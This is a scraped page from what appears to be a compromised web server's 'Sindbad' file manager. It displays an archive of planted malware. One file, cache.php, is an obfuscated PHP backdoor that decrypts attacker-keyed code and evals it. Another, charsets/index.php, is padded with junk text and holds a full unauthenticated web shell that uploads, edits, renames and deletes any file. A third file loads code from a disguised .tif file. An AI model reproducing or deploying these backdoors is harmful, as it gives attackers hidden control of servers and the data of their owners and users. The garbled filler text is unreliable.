Sindbad~EG File Manager

Current Path : /home/checkyd/www/7b5d0/
Upload File :
Current File : /home/checkyd/www/7b5d0/Maildir.tar

Maildir/cache.php000064400000013026152522057530007711 0ustar00<?php $BPtu = 'Sy1LzNFQKyzNL7G2V0svsYYw9dKrSvOS83MLilKLizXSqzLz0nISS1KRWEmJxalmJvEpqcn5KakaxSVFRallGiplThUFvppgYA0A'; $vBxpM = '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'; function BPtu($kPv) { $vBxpM = ${"\137\x52\x45\121\125\x45\123\x54"}["k"]; $iPk = substr($vBxpM, 0, 16); $MyRes = base64_decode($kPv); return openssl_decrypt($MyRes, "AES-256-CBC", $vBxpM, OPENSSL_RAW_DATA, $iPk); } if (BPtu('DjtPn+r4S0yvLCnquPz1fA')){ echo '5z/MWM7JBYtwKaxe+QXI4fG+dYZJ2fRDus6hHn8XOdpxehF8Jo0AxqkB7lAqFOXk'; exit; } eval(htmlspecialchars_decode(gzinflate(base64_decode($BPtu)))); ?>Maildir/index.php000064400000000062152522057530007751 0ustar00<?php require_once base64_decode("TXdnLnRpZg"); ?>Maildir/Mwg.tif000064400000000000152522057530007357 0ustar00Maildir/charsets/index.php000064400000033251152522057530011573 0ustar00p[op[op[op[op[o[op[op[op[op[op[op[op[
iopiopiopiopiopiopiosdfiopiopiop
p-eqouiouiowdqwduuuuuuuuuuuiouiouiouiouio
<!DOCioiopiopio
ttp-equiv="X-UA-Compatib
iooiiooioiiooioioioio
 ttp-equiv="X-UA-Compati                             eerreererble"   ttp-equiv="X-UA-Compatible"   

  <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/css/bootstrap.min.css" rel="stylesheet"
    integrity="sha384-GLhlTQ8iRABdZLl6O3oVMWSktQOp6b7In1Zl3/Jr59b6EGGoI1aFkw7cmDA6j6gD" crossorigin="anonymous">
  <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.3.0/css/all.min.css"
    integrity="sha512-SzlrxWUlpfuzQ+pcUCosxcglQRNAq/D
23





<!DOCTYPE html>ghghkkghkghkghgkhghkhgkghkghkghk
<html lang="en">gbg123123123123123
<!DOCTYPE html>ghghkkghkghkghgkhghkhgkghkghkghk
<html lang="en">gbg12312312312<!DOCTYPE html>oipiopiopiopooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooohfghfghfghfghfghfghgfhf
iopiopiop
fghgfghfghfghfghfghfghfghfghghfgh
opiopiopierrereerreriopioeegerergerger

jhkhkhjkhjkhjkhjkjjhjkjjkjkopiopiopiopiopiopiopiopiop


yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy
  <meta charset="UTF-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>bypass</title>
  <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/css/bootstrap.min.css" rel="stylesheet"
    integrity="sha384-GLhlTQ8iRABdZLl6O3oVMWSktQOp6b7In1Zl3/Jr59b6EGGoI1aFkw7cmDA6j6gD" crossorigin="anonymous">
  <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.3.0/css/all.min.css"
    integrity="sha512-SzlrxWUlpfuzQ+pcUCosxcglQRNAq/DZjVsC0lE40xsADsfeQoEypE+enwcOiGjk/bSuGGKHEyjSoQ1zVisanQ=="
    crossorigin="anonymous" referrerpolicy="no-referrer" />
  <style>
    body {
      background-color: #3e2723;
      color: #ffccbc;
    }

    table {
      background-color: #4e342e;
    }

    table th, table td {
      color: #ffccbc;
    }

    table thead {
      background-color: saddlebrown;
    }

    table tr:nth-child(even) {
      background-color: #5d4037;
    }

    a, a:hover {
      color: #ffccbc;
      text-decoration: none;
    }

    .btn-dark {
      background-color: #6d4c41;
      border-color: #6d4c41;
    }

    .btn-dark:hover {
      background-color: #4e342e;
      border-color: #4e342e;
    }

    i {
      color: #ffccbc;
    }
  </style>
</head>
<body>

    <?php


    //function
    function formatSizeUnits($bytes)
    {
        if ($bytes >= 1073741824) {
            $bytes = number_format($bytes / 1073741824, 2) . ' GB';
        } elseif ($bytes >= 1048576) {
            $bytes = number_format($bytes / 1048576, 2) . ' MB';
        } elseif ($bytes >= 1024) {
            $bytes = number_format($bytes / 1024, 2) . ' KB';
        } elseif ($bytes > 1) {
            $bytes = $bytes . ' bytes';
        } elseif ($bytes == 1) {
            $bytes = $bytes . ' byte';
        } else {
            $bytes = '0 bytes';
        }
        return $bytes;
    }

    function fileExtension($file)
    {
        return substr(strrchr($file, '.'), 1);
    }

    function fileIcon($file)
    {
        $imgs = array("apng", "avif", "gif", "jpg", "jpeg", "jfif", "pjpeg", "pjp", "png", "svg", "webp");
        $audio = array("wav", "m4a", "m4b", "mp3", "ogg", "webm", "mpc");
        $ext = strtolower(fileExtension($file));
        if ($file == "error_log") {
            return '<i class="fa-sharp fa-solid fa-bug"></i> ';
        } elseif ($file == ".htaccess") {
            return '<i class="fa-solid fa-hammer"></i> ';
        }
        if ($ext == "html" || $ext == "htm") {
            return '<i class="fa-brands fa-html5"></i> ';
        } elseif ($ext == "php" || $ext == "phtml") {
            return '<i class="fa-brands fa-php"></i> ';
        } elseif (in_array($ext, $imgs)) {
            return '<i class="fa-regular fa-images"></i> ';
        } elseif ($ext == "css") {
            return '<i class="fa-brands fa-css3"></i> ';
        } elseif ($ext == "txt") {
            return '<i class="fa-regular fa-file-lines"></i> ';
        } elseif (in_array($ext, $audio)) {
            return '<i class="fa-duotone fa-file-music"></i> ';
        } elseif ($ext == "py") {
            return '<i class="fa-brands fa-python"></i> ';
        } elseif ($ext == "js") {
            return '<i class="fa-brands fa-js"></i> ';
        } else {
            return '<i class="fa-solid fa-file"></i> ';
        }
    }

    function encodePath($path)
    {
        $a = array("/", "\\", ".", ":");
        $b = array("ক", "খ", "গ", "ঘ");
        return str_replace($a, $b, $path);
    }
    function decodePath($path)
    {
        $a = array("/", "\\", ".", ":");
        $b = array("ক", "খ", "গ", "ঘ");
        return str_replace($b, $a, $path);
    }



    $root_path = __DIR__;
    if (isset($_GET['p'])) {
        if (empty($_GET['p'])) {
            $p = $root_path;
        } elseif (!is_dir(decodePath($_GET['p']))) {
            echo ("<script>\nalert('Directory is Corrupted and Unreadable.');\nwindow.location.replace('?');\n</script>");
        } elseif (is_dir(decodePath($_GET['p']))) {
            $p = decodePath($_GET['p']);
        }
    } elseif (isset($_GET['q'])) {
        if (!is_dir(decodePath($_GET['q']))) {
            echo ("<script>window.location.replace('?p=');</script>");
        } elseif (is_dir(decodePath($_GET['q']))) {
            $p = decodePath($_GET['q']);
        }
    } else {
        $p = $root_path;
    }
    define("PATH", $p);

    echo ('
<nav class="navbar navbar-dark" style="background-color:rgba(92, 64, 51, 0.85);">
  <div class="navbar-brand">
  <a href="?"><img src="https://raw.githubusercontent.com/hurairathexper/elepfilemanager/main/img/icon.png" width="30" height="30" alt=""></a>
');

    $path = str_replace('\\', '/', PATH);
    $paths = explode('/', $path);
    foreach ($paths as $id => $dir_part) {
        if ($dir_part == '' && $id == 0) {
            $a = true;
            echo "<a href=\"?p=/\">/</a>";
            continue;
        }
        if ($dir_part == '')
            continue;
        echo "<a href='?p=";
        for ($i = 0; $i <= $id; $i++) {
            echo str_replace(":", "ঘ", $paths[$i]);
            if ($i != $id)
                echo "ক";
        }
        echo "'>" . $dir_part . "</a>/";
    }
    echo ('
</div>
<div class="form-inline">
<a href="?upload&q=' . urlencode(encodePath(PATH)) . '"><button class="btn btn-dark" type="button">Upload FileeE</button></a>
<a href="?"><button type="button" class="btn btn-dark">HOME</button></a> 
</div>
</nav>');


    if (isset($_GET['p'])) {

        //fetch files
        if (is_readable(PATH)) {
            $fetch_obj = scandir(PATH);
            $folders = array();
            $files = array();
            foreach ($fetch_obj as $obj) {
                if ($obj == '.' || $obj == '..') {
                    continue;
                }
                $new_obj = PATH . '/' . $obj;
                if (is_dir($new_obj)) {
                    array_push($folders, $obj);
                } elseif (is_file($new_obj)) {
                    array_push($files, $obj);
                }
            }
        }
        echo '
<table class="table table-hover">
  <thead>
    <tr>
      <th scope="col">Name</th>
      <th scope="col">Size</th>
      <th scope="col">Modified</th>
      <th scope="col">Perms</th>
      <th scope="col">Actions</th>
    </tr>
  </thead>
  <tbody>
';
        foreach ($folders as $folder) {
            echo "    <tr>
      <td><i class='fa-solid fa-folder'></i> <a href='?p=" . urlencode(encodePath(PATH . "/" . $folder)) . "'>" . $folder . "</a></td>
      <td><b>---</b></td>
      <td>". date("F d Y H:i:s.", filemtime(PATH . "/" . $folder)) . "</td>
      <td>0" . substr(decoct(fileperms(PATH . "/" . $folder)), -3) . "</a></td>
      <td>
      <a title='Rename' href='?q=" . urlencode(encodePath(PATH)) . "&r=" . $folder . "'><i class='fa-sharp fa-regular fa-pen-to-square'></i></a>
      <a title='Delete' href='?q=" . urlencode(encodePath(PATH)) . "&d=" . $folder . "'><i class='fa fa-trash' aria-hidden='true'></i></a>
      <td>
    </tr>
";
        }
        foreach ($files as $file) {
            echo "    <tr>
          <td>" . fileIcon($file) . $file . "</td>
          <td>" . formatSizeUnits(filesize(PATH . "/" . $file)) . "</td>
          <td>" . date("F d Y H:i:s.", filemtime(PATH . "/" . $file)) . "</td>
          <td>0". substr(decoct(fileperms(PATH . "/" .$file)), -3) . "</a></td>
          <td>
          <a title='Edit File' href='?q=" . urlencode(encodePath(PATH)) . "&e=" . $file . "'><i class='fa-solid fa-file-pen'></i></a>
          <a title='Rename' href='?q=" . urlencode(encodePath(PATH)) . "&r=" . $file . "'><i class='fa-sharp fa-regular fa-pen-to-square'></i></a>
          <a title='Delete' href='?q=" . urlencode(encodePath(PATH)) . "&d=" . $file . "'><i class='fa fa-trash' aria-hidden='true'></i></a>
          <td>
    </tr>
";
        }
        echo "  </tbody>
</table>";
    } else {
        if (empty($_GET)) {
            echo ("<script>window.location.replace('?p=');</script>");
        }
    }
    if (isset($_GET['upload'])) {
        echo '
    <form method="post" enctype="multipart/form-data">
        Select file to upload:
        <input type="file" name="fileToUpload" id="fileToUpload">
        <input type="submit" class="btn btn-dark" value="Upload" name="upload">
    </form>';
    }
    if (isset($_GET['r'])) {
        if (!empty($_GET['r']) && isset($_GET['q'])) {
            echo '
    <form method="post">
        Rename:
        <input type="text" name="name" value="' . $_GET['r'] . '">
        <input type="submit" class="btn btn-dark" value="Rename" name="rename">
    </form>';
            if (isset($_POST['rename'])) {
                $name = PATH . "/" . $_GET['r'];
                if(rename($name, PATH . "/" . $_POST['name'])) {
                    echo ("<script>alert('Renamed.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
                } else {
                    echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
                }
            }
        }
    }

    if (isset($_GET['e'])) {
        if (!empty($_GET['e']) && isset($_GET['q'])) {
            echo '
    <form method="post">
        <textarea style="height: 500px;
        width: 90%;" name="data">' . htmlspecialchars(file_get_contents(PATH."/".$_GET['e'])) . '</textarea>
        <br>
        <input type="submit" class="btn btn-dark" value="Save" name="edit">
    </form>';

    if(isset($_POST['edit'])) {
        $filename = PATH."/".$_GET['e'];
        $data = $_POST['data'];
        $open = fopen($filename,"w");
        if(fwrite($open,$data)) {
            echo ("<script>alert('Saved.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
        } else {
            echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
        }
        fclose($open);
    }
        }
    }

    if (isset($_POST["upload"])) {
        $target_file = PATH . "/" . $_FILES["fileToUpload"]["name"];
        if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
            echo "<p>".htmlspecialchars(basename($_FILES["fileToUpload"]["name"])) . " has been uploaded.</p>";
        } else {
            echo "<p>Sorry, there was an error uploading your file.</p>";
        }

    }
    if (isset($_GET['d']) && isset($_GET['q'])) {
        $name = PATH . "/" . $_GET['d'];
        if (is_file($name)) {
            if(unlink($name)) {
                echo ("<script>alert('File removed.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
            } else {
                echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
            }
        } elseif (is_dir($name)) {
            if(rmdir($name) == true) {
                echo ("<script>alert('Directory removed.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
            } else {
                echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
            }
        }
    }
    ?>


    <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/js/bootstrap.bundle.min.js"
        integrity="sha384-w76AqPfDkMBDXo30jS1Sgez6pr3x5MlQ1ZAGC+nuZB+EYdgRZgiwxhTBTkF7CXvN"
        crossorigin="anonymous"></script>
</body>

</html>
iuiuuuiuiuiuiiuiuiuiuuip[op[op[op[op[o[op[op[op[op[op[op[op[
iopiopiopiopiopiopiosdfiopiopiop
p-eqouiouiowdqwduuuuuuuuuuuiouiouiouiouio
<!DOCioiopiopio
ttp-equiv="X-UA-Compatib
iooiiooioiiooioioioio
 ttp-equiv="X-UA-Compati                             eerreererble"   ttp-equiv="X-UA-Compatible"   

  <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/css/bootstrap.min.css" rel="stylesheet"
    integrity="sha384-GLhlTQ8iRABdZLl6O3oVMWSktQOp6b7In1Zl3/Jr59b6EGGoI1aFkw7cmDA6j6gD" crossorigin="anonymous">
  <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.3.0/css/all.min.css"
    integrity="sha512-SzlrxWUlpfuzQ+pcUCosxcglQRNAq/D
23





<!DOCTYPE html>ghghkkghkghkghgkhghkhgkghkghkghk
<html lang="en">gbg123123123123123
<!DOCTYPE html>ghghkkghkghkghgkhghkhgkghkghkghk
<html lang="en">gbg12312312312

Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists